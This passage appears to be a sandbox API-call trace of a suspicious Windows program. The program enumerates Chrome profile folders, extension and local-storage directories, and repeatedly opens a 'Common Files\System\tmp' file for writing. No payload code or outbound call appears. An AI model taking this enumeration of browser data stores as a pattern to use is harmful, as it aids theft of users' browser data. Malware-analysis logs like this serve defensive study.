(hFile=0x198) returned 0x1 [0128.631] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x10000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xfe91, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.631] AreFileApisANSI () returned 1 [0128.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.631] GetFileType (hFile=0x198) returned 0x1 [0128.631] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x10000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0xffa3, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.631] AreFileApisANSI () returned 1 [0128.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.631] GetFileType (hFile=0x198) returned 0x1 [0128.632] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x11000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x100b5, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.632] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0128.632] GetLastError () returned 0x12 [0128.632] AreFileApisANSI () returned 1 [0128.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.633] GetFileType (hFile=0x194) returned 0x1 [0128.633] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0128.674] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0128.675] GetLastError () returned 0x12 [0128.675] AreFileApisANSI () returned 1 [0128.675] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.675] GetFileType (hFile=0x194) returned 0x1 [0128.675] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0128.721] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0128.721] GetLastError () returned 0x12 [0128.722] AreFileApisANSI () returned 1 [0128.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.722] GetFileType (hFile=0x194) returned 0x1 [0128.722] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0128.768] AreFileApisANSI () returned 1 [0128.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.768] GetFileType (hFile=0x198) returned 0x1 [0128.769] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x11000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x104b1, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.769] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0128.769] GetLastError () returned 0x12 [0128.769] AreFileApisANSI () returned 1 [0128.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.769] GetFileType (hFile=0x194) returned 0x1 [0128.769] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Storage\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83ede170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x90191d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0128.815] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0128.815] GetLastError () returned 0x12 [0128.816] AreFileApisANSI () returned 1 [0128.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.816] GetFileType (hFile=0x194) returned 0x1 [0128.816] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84251e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84251e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x101, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0128.862] AreFileApisANSI () returned 1 [0128.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.862] GetFileType (hFile=0x198) returned 0x1 [0128.862] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x11000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x107c3, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.862] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0128.863] GetLastError () returned 0x12 [0128.863] AreFileApisANSI () returned 1 [0128.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0128.863] GetFileType (hFile=0x194) returned 0x1 [0128.863] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Web Applications\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x868593b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x868593b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0128.909] AreFileApisANSI () returned 1 [0128.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0128.909] GetFileType (hFile=0x198) returned 0x1 [0128.909] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x8, ftCreationTime.dwLowDateTime=0xe, ftCreationTime.dwHighDateTime=0x88, ftLastAccessTime.dwLowDateTime=0x7d0228, ftLastAccessTime.dwHighDateTime=0x4, ftLastWriteTime.dwLowDateTime=0x11000, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x109d9, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x0, cFileName="", cAlternateFileName="È\x80\x83")) returned 0xffffffff [0128.909] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0128.909] GetLastError () returned 0x12 [0128.909] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0128.909] GetLastError () returned 0x12 [0128.909] AreFileApisANSI () returned 1 [0128.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.910] GetFileType (hFile=0x190) returned 0x1 [0128.910] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\EVWhitelist\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.911] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0128.911] GetLastError () returned 0x12 [0128.911] AreFileApisANSI () returned 1 [0128.911] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.911] GetFileType (hFile=0x190) returned 0x1 [0128.911] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\FileTypePolicies\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10, dwReserved1=0x837620, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.911] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0128.911] GetLastError () returned 0x12 [0128.912] AreFileApisANSI () returned 1 [0128.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.912] GetFileType (hFile=0x190) returned 0x1 [0128.912] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\OriginTrials\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.912] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0128.912] GetLastError () returned 0x12 [0128.912] AreFileApisANSI () returned 1 [0128.912] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.912] GetFileType (hFile=0x190) returned 0x1 [0128.912] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\PepperFlash\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.913] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0128.913] GetLastError () returned 0x12 [0128.913] AreFileApisANSI () returned 1 [0128.913] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.913] GetFileType (hFile=0x190) returned 0x1 [0128.913] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\pnacl\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.913] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0128.913] GetLastError () returned 0x12 [0128.914] AreFileApisANSI () returned 1 [0128.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.914] GetFileType (hFile=0x190) returned 0x1 [0128.914] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10, dwReserved1=0x85f950, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.914] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0128.914] GetLastError () returned 0x12 [0128.914] AreFileApisANSI () returned 1 [0128.914] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0128.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0128.915] GetFileType (hFile=0x190) returned 0x1 [0128.915] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\SwReporter\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0128.915] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0128.915] GetLastError () 